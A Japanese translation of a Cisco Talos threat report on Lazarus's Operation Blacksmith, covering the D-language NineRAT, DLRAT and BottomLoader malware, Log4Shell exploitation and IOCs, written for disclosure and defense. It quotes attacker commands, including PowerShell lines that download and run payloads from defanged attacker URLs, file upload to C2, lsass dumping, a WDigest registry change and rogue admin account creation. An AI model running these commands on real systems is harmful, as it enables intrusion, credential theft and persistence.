- Cisco Talos は最近、「Operation Blacksmith」と呼んでいる Lazarus グループによる新しいキャンペーンを発見しました。D 言語をベースとした新しいマルウェアファミリを少なくとも 3 つ使用しており、そのうち 2 つはリモートアクセス型トロイの木馬(RAT)です。RAT のうち 1 つは Telegram ボットと Telegram チャネルをコマンドアンドコントルール(C2)通信の媒体として使用しています。Talos は、Telegram ベースの RAT を「NineRAT」、Telegram ベースでない RAT を「DLRAT」として追跡しています。D 言語ベースのダウンローダーは「BottomLoader」として追跡しています。
- 最近の調査結果によると、北朝鮮の APT グループである Lazarus の手口が明らかに変化しています。過去 1 年半にわたり、Talos は Qt フレームワークや PowerBasic、そして今回の D 言語など、一般的でない技術で構築された 3 種類のリモートアクセス型トロイの木馬(RAT)を公開してきました。
- Talos は、Lazarus によるこのキャンペーンに、APT グループの Andariel としても知られる北朝鮮国家主導のグループ、Onyx Sleet(PLUTIONIUM)と、戦術、技術、手順(TTP)において共通点があるのを確認しました。Andarielは、Lazarus 傘下の APT サブグループであると一般的に考えられています。
- 本キャンペーンは、CVE-2021-44228(Log4j)のような N デイ脆弱性のエクスプロイトに、脆弱なインフラストラクチャをさらしてパブリックにホストしているグローバル企業を、状況に応じて継続的にターゲットとします。Talos は Lazarus が、製造、農業、および物理セキュリティ企業を標的にしているのを確認しました。
Lazarus グループ、Operation Blacksmith により製造業、農業、物理セキュリティ分野にセキュリティ侵害
Operation Blacksmith は、Log4Shell としても知られる CVE-2021-44228 のエクスプロイトのほか、Telegram を C2 チャネルとして活用する未知の D 言語ベースの RAT の使用に関連していました。Talos はこのマルウェアファミリを「NineRAT」と命名しています。NineRAT は当初 2022 年 5 月頃に構築され、その約 1 年後の 2023 年 3 月に初めてこのキャンペーンで南米の農業組織に対して使用されました。その後、2023 年 9 月頃にヨーロッパの製造業に対して再度使用されました。
分析を進める中で、Talos は 2023 年 10 月に Microsoft 社が公開した PLUTIONIUM または Andariel としても知られる Onyx Sleet による悪意のある攻撃と、重複する部分を発見しました。
Talos は、Lazarus APT が実際には北朝鮮の防衛、政治、国家安全保障、研究開発といったさまざまな目的を支援するサブグループの傘下にあるという他の研究者の評価に同意しています。各サブグループが独自の攻撃を行い、標的に対してカスタムマルウェアを開発、展開しており、必ずしも完全に連携しているわけではありません。Andariel は通常、初期アクセス、偵察、長期的なアクセスの確立を任務とし、北朝鮮政府に利益をもたらすスパイ活動をしています。医療機関に対してランサムウェア攻撃をしかけたこともあります。
今回の Operation Blacksmith のキャンペーンと、Lazarus の Andariel グループによる過去に行った攻撃には、そのツールと手口に類似点や共通点が見られます。
このキャンペーンに共通するアーティファクトは「HazyLoad」でした。以前は Microsoft 社のレポートでしか確認できなかったカスタムメイドのプロキシツールです。2023 年 5 月時点で、Talos は HazyLoad がヨーロッパの企業と韓国の物理セキュリティ監視企業の米国子会社を標的にしているのを発見しました。
Hazyload に加えて、「NineRAT」とさらに 2 つの異なるマルウェアファミリも発見しました。いずれも D 言語ベースであり、Lazarus により使用されています。Talos が「DLRAT」と呼んでいる RAT ファミリと、感染したエンドポイントに HazyLoad などの追加ペイロードをダウンロードするための「BottomLoader」と呼んでいるダウンローダーです。
Lazarus のマルウェアで D 言語を利用:NineRAT、DLRAT、BottomLoader
NineRAT は、コマンドの受け取りや出力の通信だけでなく、インバウンドとアウトバウンドのファイル転送に対しても Telegram を C2 チャネルとして使用します。Lazarus による Telegram の使用は、C2 通信のチャネルとして正規サービスを使用することで、ネットワークおよびホストベースの検出手段が回避される可能性があります。
NineRAT は 3 つのコンポーネントで構成され、ドロッパーのバイナリには他の 2 つのコンポーネントが埋め込まれています。ドロッパーはディスクに 2 つのコンポーネントを書き込み、自らを削除します。最初のコンポーネントは、nsIookup.exe(小文字の L ではなく「i」の大文字)と呼ばれる展開ツールで、2 つ目のコンポーネントを実行し、永続化メカニズムで使用されます。このようなモジュール化された感染チェーンは、感染したシステム上のノイズの多い動作を避けながら、防御の回避からアップグレードや変更の対象となるコンポーネントの機能分離に至るまで、さまざまな目的のために攻撃者によって頻繁に使用されます。
ドロッパーは、BAT スクリプトを使用して最初のコンポーネントの永続性を設定します。永続化メカニズムにより、サービス名、最初のコンポーネントへのパス、サービス作成パラメータが受け入れられます。
サービス作成コマンド |
sc create Aarsvc_XXXXXX binPath=c:\windows\system32\nsIookup.exe -k AarSvcGroup -p type=own start=auto DisplayName=Agent Activation Runtime_XXXXXX |
(nslookup[.]exe では「L」ではなく「i」の大文字が使用される点に注意が必要)
展開ツールのバイナリには、マルウェアの実行に使用される NineRAT マルウェアへの事前設定済みのパスが含まれています。
ディスク上の NineRAT マルウェアへのパスを含む展開ツールのバイナリ(最初のコンポーネント)
NineRAT がアクティブになると、マルウェアは感染したホストとやりとりするための主な手段となります。ただし、リバースプロキシツールの HazyLoad など以前展開されたバックドアメカニズムはそのまま残ります。冗長化が図られているため、 1 つのツールが発見された場合でも複数のツールによって重複するバックドアを Lazarus は確保できるため、高度に永続的なアクセスが可能になります。2022 年に Talos が公開した過去の侵入事例では、Lazarus はコマンドを発行したりデータを盗み出したりするための継続的なアクセスの手段として、プロキシツールの使用に強く依存していました。
マルウェアにより使用された Telegram C2 チャネルは、NineRAT で Lazarus が活用した公開済みの Telegram ボット「[at]StudyJ001Bot」の発見につながりました。このボットは、2020 年から韓国語のチュートリアルで ID と通信 URL とともに公開されています。公的にアクセス可能なボットを使用するとインフラストラクチャのハイジャックにつながる可能性があり、おそらくそれを認識した Lazarus は、NineRAT で独自のボットを使用し始めました。しかし興味深いことに、独自の Telegram C2 チャネルに切り替えても、オープンチャネルを使用する古い NineRAT サンプルの使用は抑止できませんでした。Anadriel は 2022 年に初めて NineRAT に取りかかったにもかかわらず、2023 年までそれらを継続して使用しています。NineRAT は通常、2 つの異なる Telegram チャネルとやりとりをおこなうために 2 つの API トークンで構成されています。トークンのひとつは公開されています。
NineRAT は、Telegram の API との通信のために実装された D 言語ベースのライブラリを使用して Telegram チャネルとやりとりします。最初に、インプラントは getMe メソッドを使用して認証をテストします。インプラントは、sendDocument メソッド/エンドポイントを使用して Telegram にドキュメントをアップロードしたり、getFile メソッドでファイルをダウンロードしたりできます。マルウェアは、攻撃者の Telegram から次のコマンドを受け取れます。
コマンド | 機能 |
/info | 感染したシステムに関する予備情報を収集。 |
/setmtoken | トークン値を設定。 |
/setbtoken | 新しいボットのトークンを設定。 |
/setinterval | Telegram チャネルへのマルウェアのポーリング間隔を設定。 |
/setsleep | マルウェアがスリープ/休止状態になる時間を設定。 |
/upgrade | 新しいバージョンのインプラントにアップグレード。 |
/exit | マルウェアの実行を終了。 |
/uninstall | エンドポイントから自らをアンインストール。 |
/sendfile | 感染したエンドポイントから C2 サーバーにファイルを送信。 |
NineRAT は BAT ファイルを使用し、システムから自らをアンインストールすることもできます。
以下は、偵察を目的として NineRAT が実行するコマンドの例です。
コマンド | インテント |
whoami | システム情報の検出 [T1082] |
wmic os get osarchitecture | システム情報の検出 [T1082] |
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName | ソフトウェアの検出 [T1518] |
NineRAT サンプルを参考にして、Talos は Lazarus が D 言語で記述したさらに 2 つのマルウェアファミリを発見しました。このうちの 1 つが、「BottomLoader」として追跡しているダウンローダーです。HazyLoad など、リモートホストから次のステージのペイロードをダウンロードして実行するためのものです。
D 言語ベースのダウンローダー、BottomLoader のストリングと埋め込みペイロード URL
BottomLoader では、PowerShell コマンドによりハードコーディングされたリモート URL から後続ステージのペイロードをダウンロードできます。
powershell Invoke-webrequest -URI <URL> -outfile <file_location_on_system>
同じく PowerShell を使用して、C2 にファイルをアップロードすることもできます。
powershell (New-Object System.Net.WebClient).UploadFile(‘<file_path>’,'<remote_url>’)
BottomLoader は、Startup ディレクトリに「.URL」ファイルを作成し、PowerShell コマンドを実行してペイロードをダウンロードすることにより、新しいバージョンまたはまったく新しいフォローアップペイロードの永続性も作成できます。URL ファイルは、次のコマンドを使って作成されます。
コマンド |
echo [InternetShortcut] > “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url” |
echo URL=”” >> “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url” |
echo IconFile=C:\WINDOWS\system32\SHELL32.dll >> “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url” |
echo IconIndex=20 >> “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url” |
もうひとつのマルウェアは、ダウンローダーであり RAT で「DLRAT」として追跡しています。追加のマルウェア展開や C2 からのコマンド取得、感染したエンドポイントでの実行に使用されます。
DLRAT:D 言語ベースの RAT でありダウンローダー
このマルウェアには、システムの偵察を実行するためのハードコーディングされたコマンドが含まれています。エンドポイントで「ver」、「whoami」、「getmac」のコマンドを実行し、システムの予備情報を収集することから始まります。これにより攻撃者は、オペレーティングシステムのバージョンや、マルウェアを実行しているユーザー、ネットワーク上のシステムを特定できる MAC アドレスに関する情報を得られます。
予備データの収集機能を備える DLRAT コードスニペット
最初の初期化とビーコンが実行されると、同じディレクトリに「SynUnst.ini」という名前の初期化ファイルが作成されます。
C2 にビーコンが送信されると、RAT は収集した情報とハードコーディングされたセッション情報をマルチパート形式でポストします。
分析を進める中で、DLRAT が C2 サーバーとの通信の一部に使用するセッション情報 ID が「23wfow02rofw391ng23」であるのを発見しました。これは、MagicRAT に関する過去のリサーチで発見したものと同じ値です。MagicRAT の場合、値は HTML ポストとしてエンコードされます。しかし DLRAT では、multipart/form-data としてポストされます。このセッション情報は、実行中にプロセススタックに作成される Base64 でエンコードされた文字列として DLRAT マルウェアにハードコーディングされます。
MagicRAT と同じ、ハードコーディングされた DLRAT のセッション ID
C2 の応答には、インプラントの外部 IP アドレスのみが含まれます。マルウェアは、C2 サーバーから送信される次のコマンドコード/コマンド名を認識し、感染したシステム上で対応するアクションを実行します。
コマンド名 | 機能 |
deleteme | BAT ファイルを使用してシステムから自らを削除。 |
download | 指定されたリモートロケーションからファイルをダウンロード。 |
rename | システム上のファイルの名前を変更。 |
iamsleep | インプラントに対し指定した時間スリープ状態になるよう指示。 |
upload | C2 にファイルをアップロード。 |
showurls | 空のコマンド(まだ実装されていない)。 |
Operation Blacksmith の説明
Talos が確認したこの特定の攻撃は、脆弱性のある外部公開サーバーへの初期アクセスの手段として、外部公開された VMWare Horizon サーバー上で、Log4Shell としても知られる CVE-2021-44228 のエクスプロイトに成功しています。感染したシステムにカスタムメイドのインプラントを展開する初期アクセスに続いて、予備的な偵察が行われます。
Operation Blacksmith で確認された一般的な感染チェーン
フェーズ 1:Lazarus による初期の偵察
Lazarus の最初のアクセスは、2021 年に発見された悪名高い Log4j の脆弱性である CVE-2021-44228 のエクスプロイトを成功させることから始まります。この脆弱性は、Lazarus 傘下の APT グループにより大規模にエクスプロイトされ、複数のマルウェアやデュアルユースツールの展開によるハンズオンキーボード攻撃が行われています。
コマンド | インテント |
cmd.exe /c whoami | システム情報の検出 [T1082] |
cmd.exe /c wevtutil qe Microsoft-Windows-TerminalServices-LocalSessionManager/Operational /c:5 /q:*[System [(EventID=25)]] /rd:true /f:text | イベントログの照会:RDP セッションの再接続情報の取得 |
net user | システム情報の検出 [T1082] |
cmd.exe /c dir /a c:\users\ | システム情報の検出 [T1082] |
cmd.exe /c netstat -nap tcp | システム情報の検出 [T1082] |
systeminfo | システム情報の検出 [T1082] |
cmd.exe /c Reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest | OS ログイン情報のダンプ [T1003/005] |
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 | OS ログイン情報のダンプ [T1003/005]
レジストリの変更 [T1112] |
cmd.exe /c tasklist | findstr Secu | ソフトウェアの検出 [T1518] |
初期の偵察が完了した後、Lazarus の攻撃者は HazyLoad を展開しました。HazyLoad は、CVE-2021-44228 を繰り返しエクスプロイトすることなく感染したシステムに直接アクセスを確立するために使用されるプロキシツールです。
コマンド | アクション |
cmd[.]exe /c powershell[.]exe -ExecutionPolicy ByPass -WindowStyle Normal (New-Object System[.]Net[.]WebClient).DownloadFile(‘hxxp[://]/inet[.]txt’, ‘c:\windows\adfs\de\inetmgr[.]exe’); | HazyLoad のダウンロードと実行 |
c:\windows\adfs\de\inetmgr[.]exe -i -p | HazyLoad リバースプロキシの実行 |
cmd /C powershell Invoke-WebRequest hxxp[://]/down/bottom[.]gif -OutFile c:\windows\wininet64[.]exe
cmd /C c:\windows\wininet64[.]exe -i -p 443 |
HazyLoad のダウンロードと実行 |
場合によって、攻撃者は HazyLoad を新しいリモート IP アドレスに切り替えることもあります。これは、インフラストラクチャが進化する中で、以前に侵害されたシステムへの継続的なアクセスを維持するために用いられる一般的な手口になります。
コマンド | アクション |
cmd /C taskkill /IM wininet64[.]exe /F | 元の HazyLoad の実行停止 |
cmd /C c:\windows\wininet64[.]exe -i -p 443 | 新しいパラメータを使用した HazyLoad の再起動 |
また攻撃者はシステム上に追加のユーザーアカウントを作成し、管理者権限を付与しました。今年初めに Talos はこの TTP を公開しましたが、当時確認されていたアクティビティの目的は、ドメインレベルで不正なユーザーアカウントを作成することでした。今回のキャンペーンで、攻撃者は Microsoft 社が文書化したユーザーアカウントに一致するローカルアカウントを作成しました。
コマンド | インテント |
cmd.exe /c net user krtbgt /add | アカウントの作成 [T1136] |
cmd.exe /c net localgroup Administrators krtbgt /add | アカウントの作成
[T1098] |
cmd.exe /c net localgroup Administrators | ユーザーの検出 [T1033] |
コマンド | インテント |
cmd.exe /c net user krtbgt /add | アカウントの作成 [T1136] |
cmd.exe /c net localgroup Administrators krtbgt /add | アカウントの作成
[T1098] |
cmd.exe /c net localgroup Administrators | ユーザーの検出 [T1033] |
ユーザーアカウントの設定に成功すると、攻撃者はそのアカウントに切り替えてハンズオンキーボード攻撃を行います。これは Cisco Talos が以前公開したパターンとは異なります。ハンズオンキーボード攻撃は、ProcDump や MimiKatz などの認証情報のダンプユーティリティをダウンロードして使用することから始まります。
コマンド | インテント |
procdump.exe -accepteula -ma lsass.exe lsass.dmp | ログイン情報の収集 [T1003] |
pwdump.exe //Mimikatz | ログイン情報の収集 [T1003] |
フェーズ 2:Lazarus による NineRAT の展開
認証情報のダンプが完了すると、Lazarus は感染したシステム上に、Talos が「NineRAT」と呼んでいる未知の RAT を展開します。2023 年 3 月時点で、NineRAT が Lazarus によって初めて実際に使用されているのが確認されました。NineRAT は D 言語で記述されており、Lazarus 傘下である APT グループの TTP に明らかな変化が見られます。MagicRAT や QuiteRAT など、Qt フレームワークのような従来とは異なるフレームワークを使用して作成されたマルウェアも増加しています。
NineRAT がアクティブになると、Telegram ベースの C2 チャネルから予備コマンドを受け取り、感染したシステムのフィンガープリントを再度取得します。感染したシステムでのフィンガープリントの再取得により、NineRAT を介して Lazarus が収集したデータは他の APT グループによって共有される可能性があり、初期アクセスとインプラントの展開フェーズで Lazarus が最初に収集したフィンガープリントデータとは基本的に異なるリポジトリに置かれることがわかります。
NineRAT で実行される一般的なコマンドは、次のとおりです。
コマンド | インテント |
cmd.exe /C ipconfig /all | システム情報の検出 [T1082] |
cmd.exe /C ver | システム情報の検出 [T1082] |
cmd.exe /C wmic os get osarchitecture | システム情報の検出 [T1082] |
cmd.exe /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName | ソフトウェアの検出 [T1518] |
cmd.exe /C net group /domain Domain Computers | システム情報の検出 [T1082] |
cmd.exe /C netstat -nap tcp | システム情報の検出 [T1082] |
cmd.exe /C whoami | システム情報の検出 [T1082] |
カバレッジ
今回の脅威は、以下の製品で検出してブロックすることが可能です。
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。
Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
IOC
この調査の IOC は、こちらの GitHub リポジトリでも提供しています。
ハッシュ
HazyLoad
000752074544950ae9020a35ccd77de277f1cd5026b4b9559279dc3b86965eee
NineRAT
534f5612954db99c86baa67ef51a3ad88bc21735bce7bb591afa8a4317c35433
ba8cd92cc059232203bcadee260ddbae273fc4c89b18424974955607476982c4
47e017b40d418374c0889e4d22aa48633b1d41b16b61b1f2897a39112a435d30
f91188d23b14526676706a5c9ead05c1a91ea0b9d6ac902623bc565e1c200a59
5b02fc3cfb5d74c09cab724b5b54c53a7c07e5766bffe5b1adf782c9e86a8541
82d4a0fef550af4f01a07041c16d851f262d859a3352475c62630e2c16a21def
BottomLoader
0e416e3cc1673d8fc3e7b2469e491c005152b9328515ea9bbd7cf96f1d23a99f
DLRAT
e615ea30dd37644526060689544c1a1d263b6bb77fe3084aa7883669c1fde12f
9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a
ネットワーク IOC
tech[.]micrsofts[.]com
tech[.]micrsofts[.]tech
27[.]102[.]113[.]93
185[.]29[.]8[.]53
155[.]94[.]208[.]209
162[.]19[.]71[.]175
201[.]77[.]179[.]66
hxxp://27[.]102[.]113[.]93/inet[.]txt
hxxp[://]162[.]19[.]71[.]175:7443/sonic/bottom[.]gif
hxxp[://]201[.]77[.]179[.]66:8082/img/lndex[.]php
hxxp[://]201[.]77[.]179[.]66:8082/img/images/header/B691646991EBAEEC[.]gif
hxxp[://]201[.]77[.]179[.]66:8082/img/images/header/7AEBC320998FD5E5[.]gif
本稿は 2023 年 12 月 11 日に Talos Group のブログに投稿された「Operation Blacksmith: Lazarus targets organizations worldwide using novel Telegram-based malware written in DLang
By Jungsoo An, Asheer Malhotra」の抄訳です。